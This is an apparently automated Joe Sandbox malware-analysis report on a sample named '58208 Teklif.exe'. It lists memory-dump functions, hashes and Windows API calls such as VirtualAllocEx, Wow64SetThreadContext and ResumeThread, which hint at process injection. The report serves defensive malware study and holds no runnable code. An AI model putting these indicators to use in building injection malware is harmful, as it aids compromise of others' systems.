Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9c1e0825a7398f95713d985c533c90cc9ed31e5839cc7926e396698aed8792bb
Instruction ID: 43bc751c2d2bc995b8539435a400b9254d277fd8d048bcab74eade629245e318
Opcode Fuzzy Hash: 9c1e0825a7398f95713d985c533c90cc9ed31e5839cc7926e396698aed8792bb
Instruction Fuzzy Hash: 6A2134B1D002198FDB10DFAAD485BEEBFF4EB48324F50842AD519A7241CB78A945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0155D548 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0155D5CF

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 46193974b066bde319982b13f8d8d6577be162ebd11a91d49ab3db5fc4a3a6ef
Instruction ID: 70909218702455a4b8c5776719d53810687be942201829e600833f4f5e7d0ccd
Opcode Fuzzy Hash: 46193974b066bde319982b13f8d8d6577be162ebd11a91d49ab3db5fc4a3a6ef
Instruction Fuzzy Hash: 7021C2B5900248AFDB10DFAAD984ADEBFF8FB48314F14841AE918A7350D375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077959C7 Relevance: 1.6, APIs: 1, Instructions: 61threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07795A46

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fe8a6bb261a17027e11dbd020da5a6d6fca96bcccf8a141c14ee0dfa5ff3c178
Instruction ID: e3d79de750a93b4c4c97432cb9d0f6726c605a810c25671a7773b8d0c6a45ef5
Opcode Fuzzy Hash: fe8a6bb261a17027e11dbd020da5a6d6fca96bcccf8a141c14ee0dfa5ff3c178
Instruction Fuzzy Hash: 7D2133B1D002198FDB10DFAAD5857EEBBF4EF48324F14842AD519B7281CB789945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 07795A98 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07795B0E

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: abe2fe3a9106d998ef1498577446ffc07967f1e607419b9743127671d69b2abe
Instruction ID: 1a3e0809d00d549b95bcb6013e099e66c5e87a0145798c2b3eb72e0338c66859
Opcode Fuzzy Hash: abe2fe3a9106d998ef1498577446ffc07967f1e607419b9743127671d69b2abe
Instruction Fuzzy Hash: 251164B6D002089FCB11CFA9C945AEEBFF5EF48324F20881AD519A7250C7369905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0155AD1C Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0155B339,00000800,00000000,00000000), ref: 0155B54A

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 34201943c7d26ee967bffde703953349f45b8bc57cc20396d3a2f5dd7eec1027
Instruction ID: 35a393eb42b8d5dd199600ca51ca312634628dead7e8c288c3bf3aee99555abf
Opcode Fuzzy Hash: 34201943c7d26ee967bffde703953349f45b8bc57cc20396d3a2f5dd7eec1027
Instruction Fuzzy Hash: B61114B69003089FDB24CF9AD448AAEFBF5FB48314F14842ED919BB200D375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0155B4D9 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0155B339,00000800,00000000,00000000), ref: 0155B54A

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ff168b139385d025edea763af2e49c24e9abe9b55539b0524e5c2caca036c17a
Instruction ID: 39fff693fdb045158cf83f7d4ff9143e46c9d36e657a014f6370730179f878fe
Opcode Fuzzy Hash: ff168b139385d025edea763af2e49c24e9abe9b55539b0524e5c2caca036c17a
Instruction Fuzzy Hash: C11103B69002089FDB24CFAAD488AEEFBF5BB88314F14841AD919B7200C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07795AA0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07795B0E

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 967bb38edec76b49dda6ecd3cc3b9032b46d1c7c9caa88af52d9dc7dbc935eac
Instruction ID: 4ad5ef22b9e1aee98f4d13c060a369850624ce1691213310cc81a167dcda3517
Opcode Fuzzy Hash: 967bb38edec76b49dda6ecd3cc3b9032b46d1c7c9caa88af52d9dc7dbc935eac
Instruction Fuzzy Hash: 241167B19002499FCF10DFAAD845ADEBFF5EF48320F108819E519A7250C776A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077954E0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07795542

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 071a6c9600f5fc6c0c8d361e5bb376717e189d90f1ec87c0087a1a6b6d7a65c0
Instruction ID: acb58037abf1cb16f5dedf49c2ee759fb35749495185b34d18ca9e98e05a8d94
Opcode Fuzzy Hash: 071a6c9600f5fc6c0c8d361e5bb376717e189d90f1ec87c0087a1a6b6d7a65c0
Instruction Fuzzy Hash: 92116AB1D003488FCB20DFAAD4457DEFBF5AB88324F208429D519A7240C775A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07794408 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0779811D

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ab90fbce08fc2224c6dc5b89e4f0cb2509d7a020be30aab16707f93dec496015
Instruction ID: db91892ecb24bd7a780d4a1db24ea4797e0d621c45bfcacd29a03c5d123adba0
Opcode Fuzzy Hash: ab90fbce08fc2224c6dc5b89e4f0cb2509d7a020be30aab16707f93dec496015
Instruction Fuzzy Hash: 7411F2B5800349DFDB10DF9AD849BDEBBF8EB49310F10881AE919B7200D375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077954DF Relevance: 1.5, APIs: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07795542

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2cf861d71768e53d0e15ea76845fbfef2d65d7cb2d8ed811bd7dea2b65087b15
Instruction ID: b463506a094cc7f9759b8d7b811b0a99d217c645e16b3a0dd68df0c6c5b82abd
Opcode Fuzzy Hash: 2cf861d71768e53d0e15ea76845fbfef2d65d7cb2d8ed811bd7dea2b65087b15
Instruction Fuzzy Hash: 891166B1D002488ECB20DFA9D5457EEFBF5AF48324F20882AD519B7240C735A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077991A0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 077991F8

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 3e907ab6d258d58182f59ba35174cc452829d2bc99e542255f22df03751562ac
Instruction ID: 9fa4b2687eeb518846b672f260f0ff06aa87c464e61d42d1b15dc4bd8070ee89
Opcode Fuzzy Hash: 3e907ab6d258d58182f59ba35174cc452829d2bc99e542255f22df03751562ac
Instruction Fuzzy Hash: 951145B5800349CFDB10DF9AD549BDEBBF4EB48320F11842AD919A7340D339A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07799198 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 077991F8

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 6cfc4660c4f10e2afeb93f4f13b182495fe2aa5ed158874f1de62cbc7d0327e1
Instruction ID: d42823c6e5eb300c8a4844c683751672c1eb95b40c038b9bbb77c267710bca60
Opcode Fuzzy Hash: 6cfc4660c4f10e2afeb93f4f13b182495fe2aa5ed158874f1de62cbc7d0327e1
Instruction Fuzzy Hash: 651133B6800349CFDB10DF99D549BDEBBF4FB48320F11882AD969A7240D339A644CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0155B258 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0155B2BE

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 823a65fd87379b91d4985e2c93b5217bf8501ef1186d4e7f2654e8fa2e23281f
Instruction ID: 7a89138d036a705bcd334dd62b7e658980d91baef8616919fbfb6b889c8416e3
Opcode Fuzzy Hash: 823a65fd87379b91d4985e2c93b5217bf8501ef1186d4e7f2654e8fa2e23281f
Instruction Fuzzy Hash: 581110B5C003498FDB10CF9AD448ADEFBF5AF88314F11841AD929BB600C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 077980B8 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0779811D

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8e3440e0e5ea7087677c316adaea71b9ce794ba85d940e9e00c127917f6cafb1
Instruction ID: a3aeeeb7c1bcc6e910e237c0ec4d76bf2971740da2119ac623bc72a8fb82d5f2
Opcode Fuzzy Hash: 8e3440e0e5ea7087677c316adaea71b9ce794ba85d940e9e00c127917f6cafb1
Instruction Fuzzy Hash: 9C11B0B58002499FDB10DF99D949BDEBBF4AB48310F25881AD519A7600D375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 014FD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318416703.00000000014FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14fd000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0cf4919da9cdbca9ef18b99d9615da210a359ff9f97f2c90482a5afb2cdb5d
Instruction ID: 08a0ad850e0bdbd0b40d13f43a2db04b6db2748e66a1326d7343e06f89d823f4
Opcode Fuzzy Hash: 8d0cf4919da9cdbca9ef18b99d9615da210a359ff9f97f2c90482a5afb2cdb5d
Instruction Fuzzy Hash: 0121F871904244DFDB05DF58D9C4B27BF65FB88318F24C56EEA090B366C336D456C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 014FD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318416703.00000000014FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14fd000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a878cbf1eb384d5cc276061eae91cee744b8ca7861fde8e7ee57eb204c41f7a6
Instruction ID: f25736740727e503dac7e1106d43de63699555047af0c5b53019b336922cdf7b
Opcode Fuzzy Hash: a878cbf1eb384d5cc276061eae91cee744b8ca7861fde8e7ee57eb204c41f7a6
Instruction Fuzzy Hash: E721F471904204DFDB05DF58D9C0B56BF65FB88314F20C17EEA090B36AC336E456CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0150D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318487544.000000000150D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0150D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_150d000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b114a4f081f423157e8e33d6ca044c7159a6f429966744ef1390ce70574c5a
Instruction ID: 8fb352f8c618afcdd42f618c37f03fc816c7021e30c046225ef83a687dfd899b
Opcode Fuzzy Hash: 23b114a4f081f423157e8e33d6ca044c7159a6f429966744ef1390ce70574c5a
Instruction Fuzzy Hash: 6F210771504205EFDB06DFD8D5C0B26BBB5FB84324F20C96DE9094F296C33AD406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0150D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318487544.000000000150D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0150D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_150d000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f5c9968b9266a708789e52d18144ef228d6f2f342604e8e9a1234f1ab5195a8
Instruction ID: bb4a3dc884da47010fc4dc2917dac08a2e8f68a117626417804b7782d38f8142
Opcode Fuzzy Hash: 6f5c9968b9266a708789e52d18144ef228d6f2f342604e8e9a1234f1ab5195a8
Instruction Fuzzy Hash: B0210075604204DFDB16DFD8D990B26BBB5FB88314F20C969E80E4F296D33AD406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0150D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318487544.000000000150D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0150D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_150d000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cd65d79723dc3d1127b90e51e9e84fd02f73ac5c0b5e03a9aa0fde992091b13
Instruction ID: 1615aac511abc07fc35f2396e8835fc39b59ae5934490d32766ecc836ea6d895
Opcode Fuzzy Hash: 6cd65d79723dc3d1127b90e51e9e84fd02f73ac5c0b5e03a9aa0fde992091b13
Instruction Fuzzy Hash: 162192755093808FDB03CFA4D994715BF71FB46214F29C5DAD8498F6A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 014FD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318416703.00000000014FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14fd000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d9f8954513a289108155b17418e8e788e8b427863a5550f59da745f4ae8560
Instruction ID: ab96e1267f240d84f4c0c72b30c591321d9adf1f4c294e2bce679ab41e09baf1
Opcode Fuzzy Hash: b6d9f8954513a289108155b17418e8e788e8b427863a5550f59da745f4ae8560
Instruction Fuzzy Hash: 4C11CD72804240CFDB02CF44D9C4B56BF61FB84224F24C2AAD9090A766C33AE45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 014FD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318416703.00000000014FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14fd000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d9f8954513a289108155b17418e8e788e8b427863a5550f59da745f4ae8560
Instruction ID: ed3e7585d95a67295d16a9e66b994ea7091a81f2b86598417acb906d17363a98
Opcode Fuzzy Hash: b6d9f8954513a289108155b17418e8e788e8b427863a5550f59da745f4ae8560
Instruction Fuzzy Hash: 2011CD72804280CFCB02CF54D9C4B16BF61FB84214F24C6AAD9090B366C336D45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0150D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318487544.000000000150D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0150D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_150d000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3be7094ea246a7cddba5200c6ce82fad2e7d53e3ec886449491685f026f1607
Instruction ID: 53233ebd80ee79e34c6ff57f90ed0c80d38ba8c848a71a5b234b167134b7713d
Opcode Fuzzy Hash: a3be7094ea246a7cddba5200c6ce82fad2e7d53e3ec886449491685f026f1607
Instruction Fuzzy Hash: 2211BB75504280DFDB02CF98C5C4B19BBB1FB84224F24C6A9D8494F696C33AD40ACB61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07795590 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

MSM!, xrefs: 077955EB

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID: MSM!
API String ID: 0-796847619
Opcode ID: c3370d198c972a68f55f5c5941a4800c5188510de977e1ef670e2ebbd075d62e
Instruction ID: 9513ffa68b2075e3e7ce9a405d3a9593e49f3fe0f19705923b684710c76d193c
Opcode Fuzzy Hash: c3370d198c972a68f55f5c5941a4800c5188510de977e1ef670e2ebbd075d62e
Instruction Fuzzy Hash: FBE119B4E012198FCB14CFA9D5909AEFBB2FF89304F248169D815AB395D734AD41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07795588 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

MSM!, xrefs: 077955EB

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID: MSM!
API String ID: 0-796847619
Opcode ID: 28a289b57e05e2c9cc573b4adc401acd9f5cc303915bfb684742a2e06b0c53f0
Instruction ID: af3895aeac6557f91371ee5181466aef3e044926a3caff85949e620de833fb2f
Opcode Fuzzy Hash: 28a289b57e05e2c9cc573b4adc401acd9f5cc303915bfb684742a2e06b0c53f0
Instruction Fuzzy Hash: 205119B4E112198FCB14CFA9D5905AEBBF2FF89304F24C169D418AB356D7309A42CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07799E58 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75b2a41ec2abb536db39d928d1699425edcf289171e7270b2d253e7180165a04
Instruction ID: 2351dd6659a90e227f7308aebedb3bfc94d934d6608725aa9d30a70c1c1e63e5
Opcode Fuzzy Hash: 75b2a41ec2abb536db39d928d1699425edcf289171e7270b2d253e7180165a04
Instruction Fuzzy Hash: D4D1CEB07026028FDB29DB79D460B6AB7F6AFC9740F14897ED545CB2A0DB35E801CB51

Uniqueness

Uniqueness Score: -1.00%

Function 07792C48 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf621c91b4794d8bfcf7472625045a514303a32f919e1bda14264e6b7e402c2d
Instruction ID: 35adb1b85d80b480677643e766c69d595da9a072fb6cfb81c379bb3fe4ee6118
Opcode Fuzzy Hash: bf621c91b4794d8bfcf7472625045a514303a32f919e1bda14264e6b7e402c2d
Instruction Fuzzy Hash: ADE14CB4E011199FCB14DFA9D5909AEFBB2FF88304F248169D815AB356D730AD81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077934B8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be4e8a46fdae131227c0b069597c4ff19b9b236e44eecc2762cf08883909b627
Instruction ID: ddf82347d1716aa7db501f1ce521a25fe3415c365f458b20b778c7420c40357c
Opcode Fuzzy Hash: be4e8a46fdae131227c0b069597c4ff19b9b236e44eecc2762cf08883909b627
Instruction Fuzzy Hash: 68E107B4E011598FCB14CFA9D5909AEFBB2FF89304F248169E815AB356D734AD41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07794CB8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60665ec9c12befbdfbded8cbf399259b568d21edac8a33c7117e69f7fd9a1326
Instruction ID: 69ca3a4ba88582d784cdb519a97c8d03d6886340f39952fc878fe2ddfac93c98
Opcode Fuzzy Hash: 60665ec9c12befbdfbded8cbf399259b568d21edac8a33c7117e69f7fd9a1326
Instruction Fuzzy Hash: 08E13BB4E011598FCB14CFA9C5909AEFBB2FF89304F248169D815AB356D734AD42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07793080 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66363be7b5e102e6bd273c2cce798a50620a537510ad80e7fca0ef5703411ff9
Instruction ID: c91d66183ca47011c070d487dbac65f0327217193b45e176ea11359ce930a164
Opcode Fuzzy Hash: 66363be7b5e102e6bd273c2cce798a50620a537510ad80e7fca0ef5703411ff9
Instruction Fuzzy Hash: B6E119B4E012598FCB14CFA9D5909AEFBB2FF89304F248169D815AB356C734AD41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0155DE0C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1318711187.0000000001550000.00000040.00000800.00020000.00000000.sdmp, Offset: 01550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1550000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e266ca72f48bb39b79d660ea9a26fb7b7624a257a8ad5531d97c813bb17c6b9
Instruction ID: 0f993b28d2d8e8de1a98f6369263f2cd9bb54e39dcdb5f9af46b80c5356c4ae2
Opcode Fuzzy Hash: 4e266ca72f48bb39b79d660ea9a26fb7b7624a257a8ad5531d97c813bb17c6b9
Instruction Fuzzy Hash: 5EA16D32A0020A8FCF55DFB4C89459EBBB2FF98300B15856BE905AF265DB31E945DB80

Uniqueness

Uniqueness Score: -1.00%

Function 07792C38 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b03f275360b1094d2c38cacbbe709619b1278deaa958c43250452f3070c19a40
Instruction ID: d9e08a988b52886d9347635772aab31b74d5290ad0e5aea7534aa3529835a55d
Opcode Fuzzy Hash: b03f275360b1094d2c38cacbbe709619b1278deaa958c43250452f3070c19a40
Instruction Fuzzy Hash: 8D5159B5E012199FCB14DFA9D9905AEFBB2FF89304F24C169D418AB356C7349942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077934A8 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1322377942.0000000007790000.00000040.00000800.00020000.00000000.sdmp, Offset: 07790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7790000_58208 Teklif.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4f3a898b01c19516e0c6a1763e0a0c4fb0fb20bf506087c43493f3bb8464670
Instruction ID: 4b5b1c01f6fa7b5cbab34993b6ca09c6ccf45f187a52163d95d451a32a1e4a85
Opcode Fuzzy Hash: f4f3a898b01c19516e0c6a1763e0a0c4fb0fb20bf506087c43493f3bb8464670
Instruction Fuzzy Hash: 765109B4E012198FDB14CFA9D5905AEBBF2FF89304F24816AD418AB356D7349942CFA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 58208 Teklif.exePID: 7580, Parent PID: 7436COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.5%
Total number of Nodes:	170
Total number of Limit Nodes:	12

Executed Functions

Function 014168E0 Relevance: 5.3, Strings: 4, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o_q, xrefs: 014169DA
,cq, xrefs: 01416A52
(o_q, xrefs: 014169E8
,cq, xrefs: 01416A60

Memory Dump Source

Source File: 00000003.00000002.3766476904.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1410000_58208 Teklif.jbxd

Similarity

API ID:
String ID: (o_q$(o_q$,cq$,cq
API String ID: 0-196421762
Opcode ID: 59950719d9273bd0a9a221942b5eb15929d57fca7155a82c784d950f85ea3a8a
Instruction ID: 861731714c6ce9ca78b5820df0bc2674a1c618400349f4e8196fb492ea7b1ffb
Opcode Fuzzy Hash: 59950719d9273bd0a9a221942b5eb15929d57fca7155a82c784d950f85ea3a8a
Instruction Fuzzy Hash: E7D11B70E001199FDB14CF99C984AAEBBB6FF88344F56846AE505AB379E770E841CB50

Uniqueness

Uniqueness Score: -1.00%

